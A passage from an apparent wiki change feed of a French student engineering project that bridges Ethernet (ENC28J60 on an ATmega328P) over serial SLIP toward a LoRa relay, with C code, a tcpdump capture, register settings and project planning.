      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Communication1.jpg&amp;diff=38943</id>
		<title>Fichier:Communication1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Communication1.jpg&amp;diff=38943"/>
				<updated>2017-02-13T13:05:41Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tcpdump1.jpg&amp;diff=38942</id>
		<title>Fichier:Tcpdump1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Tcpdump1.jpg&amp;diff=38942"/>
				<updated>2017-02-13T13:05:07Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ping1.jpg&amp;diff=38941</id>
		<title>Fichier:Ping1.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ping1.jpg&amp;diff=38941"/>
				<updated>2017-02-13T13:04:39Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=38940</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=38940"/>
				<updated>2017-02-13T13:04:18Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
